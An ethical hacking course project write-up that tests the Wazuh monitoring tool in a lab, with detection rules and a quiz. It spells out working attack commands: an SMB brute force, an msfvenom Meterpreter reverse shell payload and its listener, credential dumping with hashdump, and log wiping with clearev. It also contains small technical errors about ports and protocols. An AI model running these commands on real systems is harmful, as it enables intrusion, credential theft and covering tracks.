---
# System prepended metadata

title: 'Ethical Hacking Course: GDT2Y3 - Final Project'
tags: [Ethical Hacking]

---

# Ethical Hacking Course: GDT2Y3 - Final Project
# Real-World Cybersecurity: Simulating Attacks and Defenses with Wazuh.

## Student Information 
- **Student Name: Abdullah Nwir** 
- **Date Due: 22/03/2024** 
- **Last Edited: 22/03/2024** 
- **Project Authored By: Abdullah Nwir - h21abdnw@du.se** 

### Project Goal
The main objective of this project is to evaluate Wazuh’s open-source security monitoring tool capabilities in detection and prevention of security threats in a network. Through real-world attack simulations such as brute-force attack and reverse TCP to gain unauthorized access by sending malicious payloads, the project attempts to primarily emphasize the significance of monitoring and detection and critical security practices in preventing and dealing with new-age threats. Unpacking its application and performance, the research also hopes to push for the use of Wazuh open-source in boosting an organization's security, compliance, and response action against security threats.

### Project Summary
This project has involved a rigorous examination of Wazuh’s capabilities under the stress-test of controlled lab environments with a diverse set of cybersecurity threats. Using ethical hacking measures like Brute-force attacks and seeding malicious executables, we were able to detect and generate alerts, and even responded to threats while they were live. Others include setting up the vulnerability detection and integrity monitoring configuration before using both benign and malicious commands in the aftermath in the post-exploitation phase to demonstrate an attacker’s full level of control. Additionally, the investigative phase had attempted to obliterate our tracks, and the data sheds light on some of the salient challenges and concerns of the post-exploitation security efforts. In conclusion, Wazuh was deployed accordingly and was able to be employed in enhancing defense against cybercriminals, which was the main aim of the project.

## Project Demonstration Video
A video has been prepared to present the practical applications and implications of the project. The demonstration features the execution of attack simulations on real-world systems, show casing the Wazuh a bit, and different examples of how the implemented security measures operate. 

<iframe width="560" height="315" src="https://www.youtube.com/embed/M4up41-28fY?si=FFDPYDoIqCI7nUCY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

## Necessary Equipment
- Virtual Machine software (e.g., VMware or VirtualBox)
- Linux-based OS for Wazuh server (e.g., Ubuntu Server)
- Windows/Linux clients for monitoring
- Internet connection for software download and updates
- Victim machine (e.g., Windows or Linux)

## Background and Theory
To this end, comprehensive mastery of a handful of essential areas underpins this project. The first and foremost is an extensive understanding of the Linux command line that other cybersecurity tasks and interactions depend on. This is closely followed by the mastery of networking’s underpinning principles to integrate how data traverses networks and their corresponding vulnerabilities. The third area that needs to be well-grounded is an understanding of basic cybersecurity principles and prior interaction with security tools such as Nmap, and knowledge of SIEM systems. Therefore, these tools and principles are foundational stones for advanced cybersecurity concepts. This project, thus builds knowledge and understanding of the above areas and does not delve into detailed learning; therefore, more emphasis is placed on practical aspects of Wazuh implementation and strategies for using ethical hacking to enhance network security.

### Pre-lab Reading
To enhance the learning capacity and effect on the project, students should cover a particular spectrum of preparatory materials. First, it is paramount to thoroughly explore all provided Wazuh documentation, available at (https://documentation.wazuh.com/). This type of source explains the architecture and principles of operation of the software, shedding a different light on all the described above and adding to the understanding of the tool. What is more important, in addition to the discussed above reading list, students are recommended to include the newest articles and cases on the most recent cybersecurity threats and defenses. It is essential to stay in touch with emerging trends or forms of attacks to gain a more strategic understanding of the use of Wazuh in the real environment.

### Lab Scenario
Thus, considering all of the abovementioned, this lab is intended to imitate the complicated and vibrant environment of a modern corporate network. This lab’s network is comprised of a variety of Windows and Linux systems. Thus, the primary goal of this lab is to achieve a complete, unobstructed inspection in 360° utilizing Wazuh’s capabilities for one’s surveillance strategy that implies time risk and early indications, unceasing observation, and fast response. Within this laboratory, students are going to have a chance to deploy Wazuh in action and set it up to catch the smallest indications of compromise. Furthermore, it is necessary to construct the specific detection regulations that will allow students to forecast future security incidents. Given case study is not fictitious, hence, it provides experience with securing real-world infrastructures and makes students create and enforce some security guidelines.

### Ubuntu Installation and Configuration
- **Download Ubuntu 22.04 LTS:** Start by obtaining the Ubuntu 22.04 LTS image from [Ubuntu's official site.](https://ubuntu.com/download/desktop)
- **Ubuntu Server Setup:** Create a VM using your preferred virtualization software (e.g., VMware or VirtualBox) and install Ubuntu 22.04 LTS. Adhere to the setup guidelines available on the Ubuntu website to ensure a correct configuration.


### Wazuh Installation and Configuration
- **Wazuh Manager Setup:** Install and configure the Wazuh Manager on your Ubuntu server following the detailed instructions found in the  [Wazuh Quick Start Guide](https://documentation.wazuh.com/current/quickstart.html) .
- **Wazuh Agent Deployment:**
1. Navigate to the Wazuh dashboard and select "Agents" followed by "Deploy new agent".
2. Follow the deployment wizard, choosing the target operating system and entering the Ubuntu server's address. Assign a descriptive name for ease of identification.
3. Execute the provided commands on the client system to download and install the Wazuh agent, ensuring it's properly connected and monitored by the Wazuh Manager.

- **Configuring Wazuh for Vulnerability Detection, Integrity Monitoring, and Customizable Alerts.**
- 📈 **Vulnerability Detection:** By default, vulnerability detection is not active in Wazuh. To enable it, you must modify the Wazuh manager's configuration.
  -  Navigate to the Wazuh dashboard, access the management section, and then the configuration editor. Search for the `"vulnerability-detector"` section and set enabled to `yes`. 
  -  After making changes to the configuration, restart the Wazuh manager for the changes to take effect, up to the right corner, save then restat. This ensures that the vulnerability detection feature starts working with the new settings.
  -  Restart the Agents as well, for `Windows` use `restart-service -name wazuh`. And for `Linux` use `systemctl restart wazuh-agent`
  - Access the Wazuh dashboard to view vulnerability reports generated by the manager. These reports will highlight identified vulnerabilities in the monitored systems, providing details such as severity, description, and possible remediation steps.
  - **Screenshots**
Before:
![before activating vulnerbility](https://hackmd.io/_uploads/SkI9BXXRT.png)
After:
![after activating vulnerbility](https://hackmd.io/_uploads/Hy0cSX7CT.png)
After some few updates:
![after activating fixing some of vulnerbility](https://hackmd.io/_uploads/HJ6zH4Q0a.png)
:::info 
Now when you are in configuration editor you can customize/configure the Vulnerability Sources(NVD) and even specify the update interval. **I did not do that**.
:::
 

- 📊 **Integrity Monitoring:** Ensure that the integrity monitoring module is enabled on your Wazuh manager. This is usually enabled by default, but you can verify and configure it through the Wazuh manager's configuration file.
  - Specify which directories and registry keys you want to monitor for changes. This can be done by editing the Wazuh agent's configuration file, typically found at `/var/ossec/etc/ossec.conf` on `Linux` or `C:\Program Files (x86)\ossec-agent\ossec.conf` on `Windows`. Add directories and registry keys under the `<syscheck>` section. I did this in one line. --> `<directories realtime="yes" report_changes="yes" check_all="yes">C:\Users\myUsr\Desktop</directories>`
  - What i did in the previous step can simply be done for critical directories or files, you can enable real-time monitoring to receive instant alerts when changes occur. Just add the attribute `realtime="yes"` to the directory entries in the agent's configuration file. I did it to monitor the desktop in real-time.
  - Now after making changes to the configuration file, restart the Wazuh agent on the monitored system to apply the changes. This ensures that the integrity monitoring feature starts monitoring the specified paths. for `Windows` use `restart-service -name wazuh`. And for `Linux` use `systemctl restart wazuh-agent`
  - Once the integrity monitoring is set up, Wazuh will generate alerts for any detected changes to the monitored paths. These alerts can be viewed through the Wazuh dashboard, where you can see detailed information about the change, including the file or registry key affected and the nature of the change. For my case i just created a new txt.txt and modified it. check the screenshots.
> Before:
![beforeChangingThingsOnDesktop](https://hackmd.io/_uploads/H1cLm7XRp.png)
 After:
![AfterAddingThingsOnDesktop](https://hackmd.io/_uploads/Hk0YXQXRa.png)

- 🛠️ **Advanced Rule Configuration:** Payload Detection. Once we installed the Wazuh agent and set it up to scan for vulnerabilities and monitor target file integrity, we were able to go a step further and upgrade our Wazuh Manager with additional detectors designed to look for any possible reverse TCP payloads that might suggest an unauthorized instance of remote control.
- 🚨 **Reverse TCP Payload Detection Rule:** Before creating an advanced rule within Wazuh to identify reverse TCP payloads, we initially determined what conditions could point to a network connection event would be deemed possible to be a suspicious one as representing establishing of a reverse shell.
- **1.Define the Event Criteria:**
   - Identify the specific event log entries that may indicate the establishment of a reverse TCP connection.
   - Determine the event frequency that would be considered anomalous to avoid false positives.
- **2.Create and Validate the Rule:**
   - Utilize Wazuh's rule creation functionality to define a new rule that would trigger an alert when the event criteria are met.
   - Write the rule in XML format, specifying the event ID, frequency, and timeframe for the detection.
   - Use the Wazuh Manager to validate the rule syntax and logic with tools such as `ossec-logtest` or `wazuh-logtest`.
- **3.Configure Correlation Rules:**
   - Implement `if_sid` and `if_matched_sid` tags to create correlation rules that can identify a sequence of events related to the reverse TCP payload.
   - This advanced configuration allows for more accurate detection by considering the context of events.
- **4.Test the Configuration:**
   - Simulate the event pattern defined in the rule to ensure that alerts are triggered as expected.
   - Make adjustments to the rule configuration if necessary based on the test results.
- **5.Deploy the Rule:**
   - Once validated and tested, the new rule was added to the Wazuh Manager's active rule set.
   - We reloaded the Wazuh Manager configuration to apply the changes and enable real-time detection.
- **6.Monitor Alerts:**
   - With the new rule active, we monitored the Wazuh dashboard for alerts that matched our criteria.
   - Any triggered alerts were analyzed to verify the accuracy of detection and to perform any required incident response.
- **Example Rule Configuration:**
```xml
<group name="windows,sysmon,">
  <rule id="100009" level="5">
    <if_sid>61003</if_sid>
    <field name="win.system.eventID">^3$</field>
    <description>Initial network connection event detected</description>
  </rule>

  <rule id="100010" level="9" frequency="8" timeframe="20">
    <if_matched_sid>100009</if_matched_sid>
    <description>Suspicious reverse TCP connection frequency detected</description>
  </rule>
</group>
```

This configuration indicates that if the rule with ID `100009` triggers eight times within a 20-second window, it could suggest the presence of a reverse TCP connection attempt and an alert with level `9` would be generated.

**Screenshots:**


## Brute-Force (SMB) Attack Simulation and Wazuh Monitoring

In this stage of the project, a brute-force attack simulation was done to confirm the monitoring and alerting systems of Wazuh. I used common penetration testing tools to try and gain access to a Windows machine through a dictionary attack on SMB using `crackmapexec`. The Wazuh agent installed on the Windows machine detected the activity and reported it to the server. Through the Wazuh dashboard, it could be seen under security events with the ID `60122` related to authentication failures.

### Reconnaissance

Intel gathering was conducted to obtain information about the target system before the brute-force attack. The following methods were employed:

- **IP Discovery**: Network scanning utilities such as `Nmap` were conducted to find the active machines in the network. Several scans later, the IP `192.168.0.222` was identified as the target for our next assault simulation.

- **Service Identification**: Additional scanning utilizing `Nmap` revealed that ports `135`, `139`, and, `445` were open VPN ports, which indicated two potential brute-forcing vectors.

- **Username Enumeration**: For the username enumeration attack, multiple techniques and tools, including the `enum4linux` tool and some educated guess, were employed to identify the potential user `abdal`.

### Brute-Force Attack Execution

We run the brute-force attack with the following command on a Kali Linux machine: 
```bash
crackmapexec smb 192.168.0.222 -u abdal -P /usr/share/wordlists/rockyou.txt
```
This command acts as a regular ICMP unauthorized access try from an attacker, involving trying multiple password options.

#### Results and Monitoring 

The attack caused several Wazuh alerts that showcase the capability of the platform to record and log several unsuccessful login attempts and a brute-force related signature understood by Wazuh.

#### Conclusion 

This simulated brute force attack revealed valuable content on Wazuh setup and tuning, a factor vital to security monitoring. The successful detection of the preforming orchestrated simulated attack via SMB also showed the importance of a robust monitoring system to detect security breaches. The actions from recon to attacking illustrated the ethical hacker’s stepwise procedures thus showing the need for the hacker in ensuring that the system is safe against threats and breaches.

### Screenshots
![bruteforce attack 01](https://hackmd.io/_uploads/BycbsCNRT.png)
![bruteforce attack 02](https://hackmd.io/_uploads/BkAZsR4R6.png)

## Gaining Unauthorized Access: Exploit Execution and Post-Exploitation Activities

### Introduction

We create and deploy a malicious executable that grants the individual unauthorized access to the Windows-based machine. Specifically, the activities entailed developing the payload via `Metasploit` and utilizing the `Apache2` server to transfer the document before executing it at the target end. The purpose of the exercise was to demonstrate the likelihood of exploitation and to underscore the significance of cybersecurity fortifications.

### Payload Creation

A reverse TCP payload was created with the help of the Metasploit framework tool `msfvenom`, and it was intended to target a Windows computer. The command that was applied:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=4444 -f exe > malicious.exe
```

In order to target a Windows system, this command specifies a reverse TCP payload and names the attacker's machine (`192.168.0.19`) as the listener on port `4444`. The result is an executable file called "malicious.exe" for Windows.

### Payload Deployment

To simulate a real-world attack vector, the payload was made available for download via an Apache HTTP server. This was achieved by moving the `malicious.exe` file to the Apache server's root directory:

```bash
sudo mv malicious.exe /var/www/html/
```

The scenario implies social engineering techniques were employed to convince the victim into downloading and executing the `malicious.exe`, illustrating the critical role of human factors in cybersecurity.

### Exploit Execution
With the payload hosted, the next step is setting up a listener to capture the reverse shell from the exploited machine using Metasploit's multi-handler:

```bash
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.19
set LPORT 4444
exploit
```

WhenExecuting `malicious.exe` on the target machine established a Meterpreter session, giving the attacker complete control.

### Post-Exploitation Activities
**Fun Commands:**

- **Open a Website**: Demonstrating control, the attacker can open a website using the `start` command within the Meterpreter session:

  ```bash
  execute -f cmd.exe -a "/c start https://feetfinder.com"
  ```

**Serious Commands:**

- **Capture Screenshots**: To gather intelligence, screenshots of the user's desktop can be captured:

  ```bash
  screenshot
  ```

- **Harvest Credentials**: Critical information such as passwords can be extracted:

  ```bash
  hashdump
  ```

### Cleanup
Post-exploitation, it's crucial to cover tracks and remove any evidence of the intrusion:

- **Clear Logs**: 

  ```bash
  clearev
  ```

- **Remove Malicious Files**: Ensuring the `malicious.exe` and other dropped files are deleted.
::: warning
Aight, listen up, this drill is all 'bout keepin' our eyes wide open and beefin' up the guardrails, ya feel? It's puttin' the spotlight on how them sneaky foes could sneak through the cracks, and why we gotta school everybody on dodging those slick talkers tryna play us. Stay sharp, y'all.
::: 


### Defenses Against Exploits/Vulnerabilities
Exploits and vulnerabilities are vital to network security in the cyber security realm. Thus, the use of Wazuh as a security monitoring tool allows for a holistic approach to these defenses. Important practices include:
- **Regularly scanning for vulnerabilities:** to proactively identify and eliminate them before they can be exploited.
- **Configuration and patch management:** including ensuring that systems are properly configured and up-to-date with security patches.
- **Utilizing intrusion:** detection systems that can identify potential attacks from observing network traffic is another possible application of Wazuh.


### Exercises and Tasks
1. **Vulnerability Scanning Simulation**: Conduct a simulated scan using Wazuh to identify vulnerabilities on a Windows and Linux system.
2. **Log Analysis**: Analyze security logs generated by Wazuh to identify indications of a simulated attack, such as the brute-force attack executed in this project.
3. **Rule Development**: Develop custom Wazuh rules to detect a specific type of malware or intrusion attempt based on the indicators of compromise (IoCs).

### Questions

<details style="background-color: #f0f0f0; border-radius: 8px; padding: 10px; margin-bottom: 10px;">
<summary style="font-weight: bold; color: #333;">Q: What is the aspect of a brute-force attack?</summary>
<p style="color: #666;">The aspect of a brute-force attack aims at unauthorized entering into a system. This is achieved through guesswork logins such as the correct combinations of usernames and passwords.</p>
</details>

<details style="background-color: #f0f0f0; border-radius: 8px; padding: 10px; margin-bottom: 10px;">
<summary style="font-weight: bold; color: #333;">Q: What is the measure to detect brute-force attacks?</summary>
<p style="color: #666;">The simplest measure to detect brute-force attacks is the remnant of short intervals of time between repeated failed login attempts. Wazuh can be personalized to give notice emails upon identification of a significant number of authentication failures, indicating an abnormal behavior that may be a brute-force attack.</p>
</details>

<details style="background-color: #f0f0f0; border-radius: 8px; padding: 10px; margin-bottom: 10px;">
<summary style="font-weight: bold; color: #333;">Q: What does a reverse TCP connection allow an attacker to do on the target?</summary>
<p style="color: #666;">The Covert TCP connection can allow an attacker to establish a TCP from the target back to the attacker’s control server. It evades and tricks traditional firewall ports to allow the attacker to remotely connect to the target.</p>
</details>

<details style="background-color: #f0f0f0; border-radius: 8px; padding: 10px; margin-bottom: 10px;">
<summary style="font-weight: bold; color: #333;">Q: How does Wazuh detect a reverse TCP connection?</summary>
<p style="color: #666;">Wazuh detects a reverse TCP connection by monitoring network and detecting logs of reverse TCP activity and exfiltration. Wazuh creates advanced rules for detection when specific conditions matching the reverse TCP connection and alert It for connections to malware and known IP addresses.</p>
</details>

### Suggested Additions and Future Enhancements
- **Machine Learning Integration**: Explore the integration of machine learning algorithms with Wazuh to predict and prevent zero-day exploits.
- **Cloud Security Monitoring**: Extend the project to include monitoring of cloud environments, addressing the unique challenges of cloud security.
- **Automated Response**: Implement automated response actions in Wazuh for common threats to reduce the time from detection to mitigation.

### Conclusion
The project was a hands-on analysis of the use of Wazuh in security monitoring with the project putting more emphasis on Wazuh’s threat detection and response role. From the side of the attacks launched and the use of payloads(reverse TCP & BruteForce attacks), the project’s outcome was a test of security’s proactive nature and the contribution ethical hacking has on increasing the synergy towards the goal of a strong defense system.

### Answer Key
- **Defenses Against Exploits/Vulnerabilities**: The main defense is regular vulnerability scanning, systematic configuration and patch management including the deployment of IDS.
- **Exercises and Tasks**:
  1. Vulnerability scanning results should show possible security vulnerabilities in the system.
  2. Log analysis should uncover traces of simulated brute-force attack including incorrect login attempts.
  3. Custom rules should correctly raise alarms if a list of defined IoCs appears in the network traffic or log files.
- **Suggested Additions and Future Enhancements**: The implementation of more advanced technologies, for example, broadening into cloud security monitoring are the future directions for further performance improvement.
---
